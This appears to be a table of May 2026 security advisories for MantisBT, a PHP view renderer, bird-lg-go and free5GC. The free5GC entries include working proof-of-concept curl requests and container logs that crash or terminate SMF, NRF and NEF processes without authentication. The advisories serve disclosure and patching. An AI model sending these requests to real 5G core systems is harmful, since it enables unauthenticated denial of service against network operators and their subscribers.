| CVE-2026-40597 | hig | 0.38 | — | — | | May 11, 2026 | Given any pre-existing XSS / HTML injection vulnerability, an attacker can bypass the Content Security Policy's _script-src_ directive by uploading a crafted attachment to any issue that, when accessed via the _file_download.php_ link, will be downloaded with a valid JavaScript MIME type resulting in script execution.
The uploaded payload must be sniffed as a valid JavaScript MIME type by PHP finfo (see file_create_finfo() API function). Non-JavaScript MIME types will not get imported in a `<script>` tag by the browser, due to response header X-Content-Type-Options being set to _nosniff_, which requires all imported JavaScript files to be a valid JavaScript MIME type.
### Impact
Cross-site scripting
### Patches
- 9e3bee2e7b909f4e3596985892b8bc8bee9e0bfe
### Workarounds
None
### Credits
Thanks to siunam (Tang Cheuk Hei) for discovering and responsibly reporting the issue. |
| CVE-2026-40596 | hig | 0.38 | — | — | | May 11, 2026 | Any authenticated user can inject arbitrary HTML via updating their account's font family.
### Impact
Cross-site scripting.
The injected payload will be reflected in every MantisBT page.
Leveraging another vulnerability (CSP bypass, see [GHSA-9c3j-xm6v-j7j3](https://github.com/mantisbt/mantisbt/security/advisories/GHSA-9c3j-xm6v-j7j3)), the attacker could achieve account takeover.
### Patches
- 9e8409cdd979eba86ef532756fc47c1d8112d22d
### Workarounds
None
### Credits
Thanks to siunam (Tang Cheuk Hei) for discovering and responsibly reporting the issue. |
| CVE-2026-39850 | hig | 0.38 | — | — | | May 11, 2026 | The core view rendering method `View::renderPhpFile()` calls `extract($_params_, EXTR_OVERWRITE)` before the `require` statement that includes the view file. A caller-controlled parameter named `_file_` in the `$params` array overwrites the internal local variable that specifies which file is included — enabling a Local File Inclusion primitive.
### Impact
- Local File Inclusion (arbitrary file read via non-PHP files)
- Potential RCE if attacker can write PHP files via a separate primitive
- Information disclosure
### Patches
2.0.55
### Workarounds
No. |
| CVE-2026-34463 | hig | 0.38 | — | — | | May 11, 2026 | When cloning an issue originating from a Project other than the current one, the clone form (bug_report_page.php) prepends the source Project name before the category selector without proper escaping, allowing an attacker able to to inject HTML if they can set the Project's name (which typically requires *manager* or *administrator* access level).
### Impact
Cross-site scripting (XSS).
This is mitigated by Content Security Policy which restricts scripts execution.
### Patches
- df22697ae497ddd93f3d9132fdf4979db8d081cd
### Workarounds
Make sure Project names do not contain any HTML tags.
### Credits
Thanks to Vishal Shukla for discovering and responsibly reporting the issue.
The vulnerability was also identified and independently reported by @siunam321 (Tang Cheuk Hei), prior to this Advisory's publication. |
| CVE-2026-45047 | hig | 0.38 | — | — | | May 11, 2026 | ### Summary
The `apiHandler` (and similarly `webHandlerTelegramBot`) processes user-provided JSON payloads by directly using `json.NewDecoder(r.Body).Decode(&request)` without restricting the maximum read size. An unauthenticated remote attacker can stream an extremely large, endless JSON payload (e.g., several Gigabytes of padding) over a single TCP connection. Because Go's JSON decoder attempts to allocate memory for the entire parsed structure, this rapidly exhausts the host's physical RAM or container limits, leading to an unrecoverable `fatal error: runtime: out of memory`.
This causes the Linux OOM Killer to instantly terminate the entire `bird-lg-go` daemon, resulting in a severe Remote Denial of Service (RDoS).
### Details
In `api.go`:
```go
func apiHandler(w http.ResponseWriter, r *http.Request) {
var request apiRequest
// VULNERABILITY: No http.MaxBytesReader protection before JSON decode
err := json.NewDecoder(r.Body).Decode(&request)
// ... |
| CVE-2026-44328 | hig | 0.38 | — | — | | May 8, 2026 | ### Summary
free5GC's SMF mounts the `UPI` management route group without inbound OAuth2 middleware (same root cause as the broader UPI auth gap reported in free5gc/free5gc#887). On top of that, the `DELETE /upi/v1/upNodesLinks/{upNodeRef}` handler unconditionally dereferences `upNode.UPF` after the type-guarded async release, even though `AN`-typed nodes are constructed without a `UPF` object. As a result, a single unauthenticated `DELETE /upi/v1/upNodesLinks/gNB1` request crashes the handler with a nil-pointer panic AND mutates the in-memory user-plane topology before panicking (the `UpNodeDelete(upNodeRef)` line runs first). This is an unauthenticated, state-mutating panic-DoS sink that an off-path network attacker can trigger by name against any AN entry.
### Details
Validated against the SMF container in the official Docker compose lab.
- Source repo tag: `v4.2.1`
- Running Docker image: `free5gc/smf:v4.2.1`
- Runtime SMF commit: `8385c00a`
- Docker validation date: 2026-03-22 local (container log timestamp `2026-03-21T23:43:17Z`)
- SMF endpoint: `http://10.100.200.6:8000`
Control comparison on the same SMF instance:
- `GET /nsmf-oam/v1/` (no token) -> `401 Unauthorized`
- `DELETE /upi/v1/upNodesLinks/gNB1` (no token) -> `500 Internal Server Error` (panic)
The sibling `nsmf-oam` returning `401` proves OAuth middleware IS wired in for other SMF route groups; the UPI group specifically is mounted without it.
Vulnerable handler logic (paths in `free5gc/smf`):
```go
// NFs/smf/internal/sbi/api_upi.go:94..99
if upNode.Type == smf_context.UPNODE_UPF {
go s.Processor().ReleaseAllResourcesOfUPF(upNode.UPF)
}
upi.UpNodeDelete(upNodeRef)
upNode.UPF.CancelAssociation() // <-- panics for AN-typed nodes; nil UPF
```
The `Type == UPNODE_UPF` guard only protects the asynchronous `ReleaseAllResourcesOfUPF` call. After that, `UpNodeDelete(upNodeRef)` runs unconditionally (so the topology mutation lands first), and then `upNode.UPF.CancelAssociation()` is called unconditionally on a `*UPF` that is `nil` for `AN` nodes by construction.
Code evidence:
- UPI group mounted WITHOUT auth middleware:
- `NFs/smf/internal/sbi/server.go:76`
- `NFs/smf/internal/sbi/server.go:78`
- Protected control comparison (other SMF groups DO use auth):
- `NFs/smf/internal/sbi/server.go:99`
- `NFs/smf/internal/sbi/server.go:105`
- Delete handler (panic site):
- `NFs/smf/internal/sbi/api_upi.go:94`
- `NFs/smf/internal/sbi/api_upi.go:99`
- AN nodes are constructed without a UPF object (root cause of the nil deref):
- `NFs/smf/internal/context/user_plane_information.go:95`
- `NFs/smf/internal/context/user_plane_information.go:97`
### PoC
Reproduced end-to-end against the running SMF at `http://10.100.200.6:8000`.
1. Control: protected sibling OAM route returns `401`:
```
curl -i http://10.100.200.6:8000/nsmf-oam/v1/
```
```
HTTP/1.1 401 Unauthorized
```
2. Trigger: unauthenticated DELETE on the default AN node `gNB1`:
```
curl -i -X DELETE http://10.100.200.6:8000/upi/v1/upNodesLinks/gNB1
```
```
HTTP/1.1 500 Internal Server Error
```
3. SMF container logs (`docker logs --tail 120 smf`) show topology mutation landing BEFORE the panic, and the panic stack pointing at `api_upi.go:99`:
```
[INFO][SMF][Init] UPNode [gNB1] found. Deleting it.
[INFO][SMF][Init] Delete UPLink [UPF] <=> [gNB1].
[ERRO][SMF][GIN] panic: runtime error: invalid memory address or nil pointer dereference
github.com/free5gc/smf/internal/sbi.(*Server).DeleteUpNodeLink
/go/src/free5gc/NFs/smf/internal/sbi/api_upi.go:99 +0x298
[INFO][SMF][GIN] | 500 | DELETE | /upi/v1/upNodesLinks/gNB1
```
The lab state was manually restored after validation by re-creating the AN entry; that POST is restoration-only and is NOT a mitigation.
### Impact
Three compounding defects on the same SMF SBI surface:
1. Missing inbound authentication (CWE-306) and authorization (CWE-862) on the `UPI` route group, so the trigger is reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no session, no UE state needed. The same-instance `nsmf-oam` returning `401` proves the middleware is wired in elsewhere and only missing on UPI.
2. NULL pointer dereference (CWE-476) in `DeleteUpNodeLink`: the `Type == UPNODE_UPF` guard only covers the async release call, then `upNode.UPF.CancelAssociation()` runs unconditionally on AN-typed nodes that have a nil `UPF` field by construction.
3. Order of operations (CWE-755 / CWE-754): `UpNodeDelete(upNodeRef)` mutates the in-memory user-plane topology BEFORE the dereference panics, so the topology change lands even though the request returns 500. This makes the bug state-mutating, not just a plain panic.
Any party that can reach SMF on the SBI can:
- Delete arbitrary named entries (e.g. `gNB1`) from SMF's in-memory user-plane topology anonymously via a single `DELETE /upi/v1/upNodesLinks/{ref}` request, denying SMF's ability to consider that AN/UPF in subsequent UPF selection / PFCP path establishment for legitimate UE sessions.
- Trigger a panic on the SMF goroutine for the deleted-AN case, even though Gin recovers the goroutine, leaving the topology in the mutated state above.
- Repeat the trigger by name against any AN entry, sustaining the topology denial without ever authenticating.
This is a strict superset of the impact in free5gc/free5gc#887 for this specific code path: same auth bypass, plus a concrete request-triggerable nil deref, plus state mutation that survives the panic.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/905
Upstream fix: https://github.com/free5gc/smf/pull/199 |
| CVE-2026-44325 | hig | 0.38 | — | — | | May 8, 2026 | ### Summary
free5GC's NRF root SBI endpoint `POST /oauth2/token` contains a parser-level type-confusion bug family. The handler in `NFs/nrf/internal/sbi/api_accesstoken.go` reflects over `models.NrfAccessTokenAccessTokenReq`, special-cases only plain `string` and `NrfNfManagementNfType` fields, and treats every other field as if it were a single `models.PlmnId`. The parsed `*models.PlmnId` is then assigned with `reflect.Value.Set()` to whichever field name the attacker put in the form body, which panics whenever the destination field's real type is incompatible (slice, different struct, primitive). Gin recovery converts each panic into `HTTP 500`, but the endpoint remains remotely panicable from a single unauthenticated form-encoded request and is repeatedly triggerable across at least 6 confirmed crashing fields.
Note: `/oauth2/token` is unauthenticated by design (it is the OAuth2 token-issuance endpoint). So this is NOT framed as an auth-bypass finding -- it is a parser bug on an intentionally unauthenticated SBI endpoint.
### Details
Validated against the NRF container in the official Docker compose lab.
- Source repo tag: `v4.2.1`
- Running Docker image: `free5gc/nrf:v4.2.1`
- Docker validation date: 2026-03-22
- NRF endpoint: `http://10.100.200.3:8000`
Root cause is in the access-token request parser:
- `NFs/nrf/internal/sbi/api_accesstoken.go:52`
- `NFs/nrf/internal/sbi/api_accesstoken.go:87`
- `NFs/nrf/internal/sbi/api_accesstoken.go:98`
- `NFs/nrf/internal/sbi/api_accesstoken.go:100`
- `NFs/nrf/internal/sbi/api_accesstoken.go:112`
The model definition lives in `free5gc/openapi`:
- `models/model_nrf_access_token_access_token_req.go:27`
- `models/model_nrf_access_token_access_token_req.go:29`
- `models/model_nrf_access_token_access_token_req.go:30`
- `models/model_nrf_access_token_access_token_req.go:31`
The parser's effective shape is: parse value as `*models.PlmnId`, then `dstField.Set(reflect.ValueOf(parsedPlmnId))`. Every destination field that is NOT `string` and NOT `NrfNfManagementNfType` falls into this branch, so any time the destination is a slice (`[]models.PlmnId`, `[]models.Snssai`, `[]models.PlmnIdNid`, `[]string`) or a different pointer type (`*models.PlmnIdNid`), the `reflect.Set` call panics with a runtime type-confusion error.
Confirmed crashing fields in this DoS family (all reachable from a single unauthenticated form-encoded POST):
- `requesterPlmnList` -> panic assigning `*models.PlmnId` to `[]models.PlmnId`
- `requesterSnssaiList` -> panic assigning `*models.PlmnId` to `[]models.Snssai`
- `requesterSnpnList` -> panic assigning `*models.PlmnId` to `[]models.PlmnIdNid`
- `targetSnpn` -> panic assigning `*models.PlmnId` to `*models.PlmnIdNid`
- `targetSnssaiList` -> panic assigning `*models.PlmnId` to `[]models.Snssai`
- `targetNsiList` -> panic assigning `*models.PlmnId` to `[]string`
### PoC
Reproduced end-to-end against the running NRF at `http://10.100.200.3:8000`. Each of the following single requests independently crashes the handler.
1. `requesterPlmnList` -> `[]models.PlmnId` mismatch:
```
curl -i -X POST http://10.100.200.3:8000/oauth2/token \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'requesterPlmnList={"mcc":"208","mnc":"93"}'
```
2. `requesterSnssaiList` -> `[]models.Snssai` mismatch:
```
curl -i -X POST http://10.100.200.3:8000/oauth2/token \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'requesterSnssaiList={"mcc":"208","mnc":"93"}'
```
3. `requesterSnpnList` -> `[]models.PlmnIdNid` mismatch:
```
curl -i -X POST http://10.100.200.3:8000/oauth2/token \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'requesterSnpnList={"mcc":"208","mnc":"93"}'
```
4. `targetSnpn` -> `*models.PlmnIdNid` mismatch:
```
curl -i -X POST http://10.100.200.3:8000/oauth2/token \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'targetSnpn={"mcc":"208","mnc":"93"}'
```
5. `targetSnssaiList` -> `[]models.Snssai` mismatch:
```
curl -i -X POST http://10.100.200.3:8000/oauth2/token \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'targetSnssaiList={"mcc":"208","mnc":"93"}'
```
6. `targetNsiList` -> `[]string` mismatch:
```
curl -i -X POST http://10.100.200.3:8000/oauth2/token \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'targetNsiList={"mcc":"208","mnc":"93"}'
```
Observed response (per request, no body returned):
```
HTTP/1.1 500 Internal Server Error
Content-Length: 0
```
NRF container logs (`docker logs nrf`) confirm the `reflect.Set` type-confusion panic in `HTTPAccessTokenRequest`, with the panic message changing per field type:
```
[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnId
[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.Snssai
[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnIdNid
[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type *models.PlmnIdNid
[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []string
INFO][NRF][GIN] | 500 | POST | /oauth2/token |
```
### Impact
Type-confusion panic family (CWE-843) in the form-parser of an unauthenticated, network-reachable, root token-issuance endpoint, with no input validation on field types (CWE-20) and no defensive handling of the resulting panic before reflection (CWE-755).
This is NOT framed as an auth-bypass finding: `/oauth2/token` is unauthenticated by design. It is also NOT a process-kill DoS: Gin recovery catches each panic and the NRF process keeps running, so legitimate clients can still get tokens between attacker requests.
What the bug realistically gives an off-path attacker:
- A reliable, unauthenticated, repeatable panic primitive on the root token endpoint, reachable from a single form-encoded POST.
- Per-request CPU + log-write cost that is materially higher than a normal validation reject (`400`) would have been, because the panic generates a stack trace each time.
- A class of at least 6 attacker-selectable form keys that all crash via the same root cause, so partial fixes that harden one field do not close the family.
- Sustained-attack potential: under flood, the panic-amplification can degrade NRF token issuance (more expensive than `400` validation) and pollute logs / rotate out useful diagnostic history.
No Confidentiality impact (`HTTP 500` with empty body, no stack trace returned to the caller). No Integrity impact (panic happens before any state change). Availability impact is limited to per-request degradation under sustained attack; a single request does not deny service to other clients.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/918
Upstream fix: https://github.com/free5gc/nrf/pull/83 |
| CVE-2026-44322 | hig | 0.38 | — | — | | May 8, 2026 | ### Summary
free5GC's NEF `PATCH /3gpp-pfd-management/v1/{afId}/transactions/{transId}/applications/{appId}` handler panics with a nil-pointer dereference when the upstream UDR call fails AND the consumer wrapper returns `err != nil` together with a nil `*ProblemDetails`. The handler's `errPfdData != nil` branch builds its own `problemDetailsErr` correctly, but immediately after it reads `problemDetails.Cause` (the OTHER value, which is nil in this branch) and panics. Gin recovery converts the panic into `HTTP 500`, so a single PATCH against this endpoint returns 500 instead of the intended controlled error response whenever UDR access is failing.
This is a second-order bug: the trigger requires UDR access to be failing (e.g. NRF or UDR is unreachable, registration broken, transient network failure). The attacker does not directly control that condition, so this is scored as AC:H. Once the upstream condition exists, the trigger is a single PATCH request and is repeatable.
The HTTP request itself in v4.2.1 is reachable without an `Authorization` header because the underlying NEF `3gpp-pfd-management` route group is mounted without inbound auth middleware (see free5gc/free5gc#858). So in the validation lab the entire trigger chain is unauthenticated end-to-end.
### Details
Validated against the NEF container in the official Docker compose lab.
- Source repo tag: `v4.2.1`
- Running Docker image: `free5gc/nef:v4.2.1`
- Runtime NEF commit: `5ce35eab`
- Docker validation date: 2026-03-21 (container log timestamp `2026-03-21T03:06:36Z`)
- NEF endpoint: `http://10.100.200.19:8000`
Vulnerable handler logic in `PatchIndividualApplicationPFDManagement` (paraphrased):
```go
pdfData, problemDetails, errPfdData := p.Consumer().AppDataPfdsAppIdGet(appID)
switch {
case problemDetails != nil:
...
case errPfdData != nil:
problemDetailsErr := &models.ProblemDetails{
Status: http.StatusInternalServerError,
Detail: "Query to UDR failed",
}
c.Set(sbi.IN_PB_DETAILS_CTX_STR, problemDetails.Cause) // <-- nil deref
c.JSON(int(problemDetailsErr.Status), problemDetailsErr)
return
}
```
In the `errPfdData != nil` branch, `problemDetails` is by construction nil (otherwise the first `case` would have matched). Reading `problemDetails.Cause` panics with `runtime error: invalid memory address or nil pointer dereference`. The intended value is presumably `problemDetailsErr.Cause` -- the locally constructed problem-details struct.
Code evidence (paths in `free5gc/nef`):
- Patch handler core path:
- `NFs/nef/internal/sbi/processor/pfd.go:563`
- `NFs/nef/internal/sbi/processor/pfd.go:610`
- Panic site (nil-deref on `problemDetails.Cause`):
- `NFs/nef/internal/sbi/processor/pfd.go:622`
- Route exposure / dispatch:
- `NFs/nef/internal/sbi/api_pfd.go:168`
- `NFs/nef/internal/sbi/api_pfd.go:188`
### PoC
Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000`. The trigger requires UDR access to be failing -- the lab simulates this by stopping NRF (so NEF's UDR client fails to discover/dial UDR). In production, equivalent triggers include NRF outages, UDR outages, or transient network failures.
1. Create an AF context (no Authorization header):
```
curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afnpd3/subscriptions' \
-H 'Content-Type: application/json' \
--data '{"afAppId":"app-nef-npd3","anyUeInd":true}'
```
2. Create a PFD-management transaction:
```
curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afnpd3/transactions' \
-H 'Content-Type: application/json' \
--data '{"pfdDatas":{"appnpd3":{"externalAppId":"appnpd3","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any"]}}}}}'
```
3. Make UDR access fail (lab simulation):
```
docker stop nrf
```
4. Trigger the panic with one PATCH:
```
curl -i -X PATCH 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afnpd3/transactions/1/applications/appnpd3' \
-H 'Content-Type: application/json' \
--data '{"externalAppId":"appnpd3","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":[]}}}'
```
```
HTTP/1.1 500 Internal Server Error
Content-Length: 0
```
5. NEF container logs (`docker logs --since 2026-03-21T03:06:36Z nef`) confirm the nil-deref panic at `pfd.go:622` inside `PatchIndividualApplicationPFDManagement`:
```
[INFO][NEF][PFDMng] PatchIndividualApplicationPFDManagement - scsAsID[afnpd3], transID[1], appID[appnpd3]
[ERRO][NEF][GIN] panic: runtime error: invalid memory address or nil pointer dereference
github.com/free5gc/nef/internal/sbi/processor.(*Processor).PatchIndividualApplicationPFDManagement
.../pfd.go:622
github.com/free5gc/nef/internal/sbi.(*Server).apiPatchIndividualApplicationPFDManagement
.../api_pfd.go:188
[INFO][NEF][GIN] | 500 | PATCH | /3gpp-pfd-management/v1/afnpd3/transactions/1/applications/appnpd3 |
```
6. Restore for further testing:
```
docker start nrf
```
### Impact
NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the `errPfdData != nil` branch reads `problemDetails.Cause` even though `problemDetails` is nil by construction in that branch (the prior `case` already matched the non-nil case). The intended target was the locally constructed `problemDetailsErr.Cause`.
Gin recovery catches the panic, so the NEF process is NOT killed and other endpoints continue serving. The realized impact is per-request: PATCH against this endpoint returns `500` (with empty body and a stack trace in NEF logs) instead of the intended controlled UDR-failure response, whenever upstream UDR access is failing.
No Confidentiality impact (the response is `500` with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation and only fires while UDR access is independently broken; the attacker does not directly control that precondition, so AC:H is the honest assessment.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/925
Upstream fix: https://github.com/free5gc/nef/pull/22 |
| CVE-2026-44321 | hig | 0.38 | — | — | | May 8, 2026 | ### Summary
free5GC's SMF mounts the `UPI` management route group without inbound OAuth2 middleware (same root cause as free5gc/free5gc#887). The `POST /upi/v1/upNodesLinks` create-or-update handler accepts attacker-controlled JSON and passes it directly into `UpNodesFromConfiguration()`, which calls `logger.InitLog.Fatalf(...)` on several validation failures. One confirmed path is the UE-IP-pool overlap check: a single unauthenticated POST that adds a new UPF whose pool overlaps an existing UPF terminates the entire SMF process (`docker ps` shows `Exited (1)`), not just the goroutine. This is a stronger sink than free5gc/free5gc#905: that one panics inside the request goroutine and Gin recovers; this one calls `Fatalf` which is `os.Exit(1)`-equivalent and kills the whole SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy lookups, etc.) until the process is restarted.
### Details
Validated against the SMF container in the official Docker compose lab.
- Source repo tag: `v4.2.1`
- Running Docker image: `free5gc/smf:v4.2.1`
- Runtime SMF commit: `8385c00a`
- Docker validation date: 2026-03-22 local (container log timestamp `2026-03-21T23:47:07Z`)
- SMF endpoint: `http://10.100.200.6:8000`
The broader `UPI` auth gap (#887) lets the unauthenticated POST reach the create/update handler. From there:
Vulnerable handler dispatches into topology parsing:
```
POST /upi/v1/upNodesLinks
-> UpNodesFromConfiguration()
-> isOverlap(allUEIPPools)
-> logger.InitLog.Fatalf("overlap cidr value between UPFs")
```
Code evidence (paths in `free5gc/smf`):
- UPI group mounted WITHOUT auth middleware (preconditions for unauthenticated reachability):
- `NFs/smf/internal/sbi/server.go:76`
- `NFs/smf/internal/sbi/server.go:78`
- Create-or-update handler accepts attacker JSON and forwards it to `UpNodesFromConfiguration()`:
- `NFs/smf/internal/sbi/api_upi.go:60`
- `NFs/smf/internal/sbi/api_upi.go:72`
- Pool parsing (input from attacker JSON):
- `NFs/smf/internal/context/user_plane_information.go:413`
- Overlap check that calls `Fatalf`:
- `NFs/smf/internal/context/user_plane_information.go:479`
The same unauthenticated POST path also reaches sibling `Fatalf` calls for invalid-pool and static-pool-exclusion failures, so this is not a one-off code smell -- it is a class of attacker-reachable `Fatalf` call sites on a single unauthenticated handler:
- `NFs/smf/internal/context/user_plane_information.go:416`
- `NFs/smf/internal/context/user_plane_information.go:424`
- `NFs/smf/internal/context/user_plane_information.go:430`
### PoC
Reproduced end-to-end against the running SMF at `http://10.100.200.6:8000`.
1. Trigger: unauthenticated POST that adds a UPF with a UE pool overlapping the default UPF (`10.60.0.0/16`):
```
curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \
-H 'Content-Type: application/json' \
--data '{"links":[{"A":"gNB1","B":"UPF-OVERLAP-20260322"}],"upNodes":{"UPF-OVERLAP-20260322":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet","pools":[{"cidr":"10.60.0.0/16"}]}]}]}}}'
```
Client-side observation (server died mid-request, no HTTP response written):
```
curl: (52) Empty reply from server
```
2. Confirm the SMF container exited:
```
docker ps -a --filter name=smf --format '{{.Names}}\t{{.Status}}'
```
```
smf Exited (1) 9 seconds ago
```
3. SMF container logs (`docker logs --tail 80 smf`) show the `FATA` line that terminated the process:
```
[FATA][SMF][Init] overlap cidr value between UPFs
```
### Impact
Unauthenticated process-kill DoS on the SMF management plane.
1. Missing inbound authentication (CWE-306) and authorization (CWE-862) on the `UPI` route group makes the trigger reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no UE state needed. The same-instance `nsmf-oam` returning `401` (see free5gc/free5gc#887) proves OAuth middleware is wired in for other SMF route groups and only missing on UPI.
2. Reachable assertion / fail-fast (CWE-617): topology parsing calls `logger.InitLog.Fatalf(...)` on attacker-influenced validation failures. `Fatalf` is `os.Exit(1)`-equivalent -- it skips Gin's recovery, the deferred handlers, and kills the whole SMF process. This is materially worse than the related panic-DoS in free5gc/free5gc#905, which Gin recovers from at the goroutine level.
Any party that can reach SMF on the SBI can:
- Send one unauthenticated POST with an overlapping UE pool and immediately terminate the SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy interactions) until SMF is restarted.
- Repeat the trigger after every restart to sustain the outage.
- Use sibling `Fatalf` paths (invalid-pool, static-pool exclusion) to sustain the same DoS even if the overlap check is hardened in isolation, because the underlying defect is using `Fatalf` for request-time validation on an unauthenticated handler.
No Confidentiality impact (the crash returns no data to the attacker). No persistent Integrity impact (the topology updates are in-memory and are lost when SMF dies). The whole impact concentrates in Availability: complete loss of SMF service via a single unauthenticated request.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/906
Upstream fix: https://github.com/free5gc/smf/pull/203 |
| CVE-2026-44319 | hig | 0.38 | — | — | | May 8, 2026 | ### Summary
free5GC's NEF terminates the entire process when a stored PFD-subscription `notifyUri` cannot be reached. In `PfdChangeNotifier.FlushNotifications()`, the notifier calls `NnefPFDmanagementNotify(...)` and on any delivery error invokes `logger.PFDManageLog.Fatal(err)`, which is `os.Exit(1)`-equivalent in Go. An attacker who can create a PFD subscription with an attacker-chosen `notifyUri` and then trigger a PFD change can deterministically kill NEF on the asynchronous delivery attempt -- the process exits with status `1`, dropping NEF's entire SBI surface until restart. This is materially worse than a per-request panic-DoS (Gin recovery does not catch `Fatal`).
The trigger uses three POSTs that are reachable without an `Authorization` header in v4.2.1, because the underlying NEF SBI route groups themselves are mounted without inbound auth middleware (see free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the lab the entire chain is unauthenticated end-to-end. This advisory is scoped to the `Fatal`-on-delivery-failure code defect; the auth-bypass primitives are tracked separately in the upstream issues above.
### Details
Validated against the NEF container in the official Docker compose lab.
- Source repo tag: `v4.2.1`
- Running Docker image: `free5gc/nef:v4.2.1`
- Runtime NEF commit: `5ce35eab`
- Docker validation date: 2026-03-20 (container log timestamp `2026-03-20T16:00:03Z`)
- NEF endpoint: `http://10.100.200.19:8000`
Vulnerable notifier path:
```go
_, err := nc.notifier.clientPfdManagement.PFDSubscriptionsApi.NnefPFDmanagementNotify(
context.TODO(), nc.notifier.getSubURI(id), notifyReq)
if err != nil {
logger.PFDManageLog.Fatal(err) // <-- os.Exit(1)-equivalent
}
```
The failing branch is reached whenever NEF's outbound POST to the subscriber's `notifyUri` returns an error (connection refused, DNS failure, TLS error, timeout, etc.). The delivery happens asynchronously after the PFD-management transaction is accepted, so the triggering HTTP request (the PFD change) returns `201 Created` and only then does NEF die.
Code evidence (paths in `free5gc/nef`):
- Notifier dispatch:
- `NFs/nef/internal/sbi/notifier/pfd_notifier.go:135`
- Fatal call site (process exit):
- `NFs/nef/internal/sbi/notifier/pfd_notifier.go:142`
### PoC
Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000` -- three unauthenticated POSTs, the third one indirectly triggers async notify -> Fatal -> process exit.
1. Create an AF context (no Authorization header):
```
curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afdos/subscriptions' \
-H 'Content-Type: application/json' \
--data '{"afAppId":"app-nef-dos","anyUeInd":true}'
```
```
HTTP/1.1 201 Created
Location: http://nef.free5gc.org:8000/3gpp-traffic-influence/v1/afdos/subscriptions/1
```
2. Create a PFD subscription with an attacker-chosen unreachable callback (port 1 = always refused locally):
```
curl -i -X POST 'http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions' \
-H 'Content-Type: application/json' \
--data '{"applicationIds":["app-nef-dos"],"notifyUri":"http://127.0.0.1:1/notify"}'
```
```
HTTP/1.1 201 Created
Location: http://nef.free5gc.org:8000/nnef-pfdmanagement/v1/subscriptions/1
```
3. Trigger a PFD change so NEF tries to deliver a notification to the bad URI:
```
curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afdos/transactions' \
-H 'Content-Type: application/json' \
--data '{"pfdDatas":{"app-nef-dos":{"externalAppId":"app-nef-dos","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any","permit out ip from any to 10.68.28.39 80"]}}}}}'
```
The PFD POST itself returns `201`, but immediately afterward NEF exits.
4. Confirm the NEF container is dead (`exited`, `exit=1`):
```
docker inspect nef --format 'status={{.State.Status}} restart={{.RestartCount}} exit={{.State.ExitCode}}'
```
```
status=exited restart=0 exit=1
```
5. NEF container logs (`docker logs --since 2026-03-20T16:00:03Z nef`) show the `[FATA]` line that terminated the process:
```
[INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[afdos]
[INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] New pfd transcation
[INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] PFD Management Transaction is added
[INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/afdos/transactions |
[FATA][NEF][PFDMng] Post "http://127.0.0.1:1/notify": dial tcp 127.0.0.1:1: connect: connection refused
```
### Impact
Reachable assertion / fail-fast (CWE-617) inside an asynchronous notification delivery path, plus improper handling of an exceptional condition (CWE-755) (treating a transient outbound HTTP failure as fatal), plus missing input validation (CWE-20) on the attacker-supplied `notifyUri`. `logger.Fatal` is `os.Exit(1)`-equivalent in Go -- it skips Gin recovery, deferred cleanup, and connection draining; the whole NEF process terminates.
In v4.2.1, the trigger chain is reachable without an `Authorization` header because the NEF route groups used in the chain are themselves mounted without inbound auth middleware (free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the validation lab any party that can reach NEF on the SBI can:
- Submit the three-step trigger anonymously and immediately terminate the NEF process.
- Repeat the trigger after every restart to sustain the outage.
- Pick any unreachable `notifyUri` (refused port, blackholed IP, DNS-NXDOMAIN, broken TLS) -- the failure branch is the same `Fatal`, so partial fixes that block one URI do not close the family.
No Confidentiality impact (the failure returns no attacker-readable data). No persistent Integrity impact (NEF state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of NEF service via a single attacker-controlled notification target.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/924
Upstream fix: https://github.com/free5gc/nef/pull/25 |
